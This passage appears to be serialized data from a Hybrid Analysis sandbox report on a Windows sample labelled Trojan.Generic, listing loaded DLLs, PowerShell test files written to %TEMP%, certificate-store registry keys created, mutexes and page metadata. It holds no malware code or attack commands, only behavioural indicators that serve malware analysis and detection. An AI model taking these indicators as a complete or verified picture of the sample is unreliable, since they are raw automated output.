.dll","ucrtbase_clr0400.dll","win32u.dll","dnsapi.dll","ucrtbase.dll","gdi32full.dll","cryptsp.dll","System.Xml.ni.dll","kernel32.dll","MpOAV.dll","Microsoft.Management.Infrastructure.ni.dll","edputil.dll","mpr.dll","VxSSL64.dll","imm32.dll","pwrshsip.dll","wbemsvc.dll","cmdext.dll","wshext.dll","OneCoreUAPCommonProxyStub.dll","rasman.dll","Microsoft.PowerShell.Security.ni.dll","ntasn1.dll","rpcrt4.dll","version.dll","urlmon.dll","iertutil.dll","bcryptprimitives.dll","System.Configuration.ni.dll","mscoree.dll","rsaenh.dll","System.Data.ni.dll","rtutils.dll","profapi.dll","secur32.dll","MpClient.dll","FWPUCLNT.DLL","wbemprox.dll","winsta.dll","shell32.dll","windows.storage.dll","msasn1.dll","System.DirectoryServices.ni.dll","dhcpcsvc.dll","System.Drawing.ni.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"StartupProfileData-NonInteractive","sha256":"119cfc3c281d8af790d5d44da7b89d7a63b2d9515e3cd4f03824b0fffb4e3bf3","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"name":"__PSScriptPolicyTest_adkwe4mc.k1s.psm1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"name":"__PSScriptPolicyTest_bnwxky12.2at.ps1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"name":"__PSScriptPolicyTest_bvyyk3xv.unz.ps1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"name":"__PSScriptPolicyTest_guc1osrv.m3c.psm1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"name":"__PSScriptPolicyTest_hlxvtujq.odb.psm1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"name":"__PSScriptPolicyTest_oaj2uv35.p1s.psm1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"name":"__PSScriptPolicyTest_oztrlywq.2cq.ps1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"name":"__PSScriptPolicyTest_xuscdmdd.qss.ps1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]}],"files_written":[{"path":"\\Global??\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"path":"%WINDIR%\\System32\\CatRoot","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"path":"%WINDIR%\\System32\\catroot2","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_oztrlywq.2cq.ps1","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_adkwe4mc.k1s.psm1","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_bnwxky12.2at.ps1","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_hlxvtujq.odb.psm1","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{E122B924-B4ED-4437-BC94-A96B6AA901B6}","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{45F5205B-FA7A-11ED-8886-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_bvyyk3xv.unz.ps1","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_guc1osrv.m3c.psm1","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_xuscdmdd.qss.ps1","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_oaj2uv35.p1s.psm1","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\\","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:3788:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"name":"Local\\SM0:3788:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:1496:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:1496:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"name":"Microsoft.Windows.Health.TestInProduction.RegistryStore.AggregateResults","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"name":"Local\\SM0:1496:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"name":"Local\\SM0:1496:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"name":"SM0:1496:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"name":"\\BaseNamedObjects\\CLR_PerfMon_WrapMutex","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:1496:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Microsoft.Windows.Health.TestInProduction.RegistryStore.AggregateResults","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:1612:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:1612:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:1612:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"name":"Local\\SM0:1612:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"name":"Local\\SM0:1612:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"name":"SM0:1612:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"name":"\\BaseNamedObjects\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4416:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4416:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"name":"Local\\SM0:4416:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"name":"Local\\SM0:4416:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"name":"SM0:4416:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:4416:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7140:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"name":"Local\\SM0:7140:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7560:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7560:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7560:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"name":"Local\\SM0:7560:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"name":"SM0:7560:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"name":"Local\\SM0:7560:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]}]}},"report_ids":{"sandbox_job_ids":["68acc4b7974931ef11000319"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious Trojan.Generic Sample bf62f8983365… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample bf62f8983365…. Malware family: Trojan.Generic. Threat score 100/100. 2/26 AV engines flagged this file. 6 malicious and 13 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/bf62f89833654afabded809c6c21ab321b09898cb7cdbf6dbff300b57f54ec80"}],["$","meta","4",{"property":"og:title","content":"Malicious Trojan.Generic Sample bf62f8983365… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample bf62f8983365…. Malware family: Trojan.Generic. Threat score 100/100. 2/26 AV engines flagged this file. 6 malicious and 13 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/bf62f89833654afabded809c6c21ab321b09898cb7cdbf6dbff300b57f54ec80"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Trojan.Generic Sample bf62f8983365… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample bf62f8983365…. Malware family: Trojan.Generic. Threat score 100/100. 2/26 AV engines flagged this file. 6 malicious and 13 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L53","11",{}]]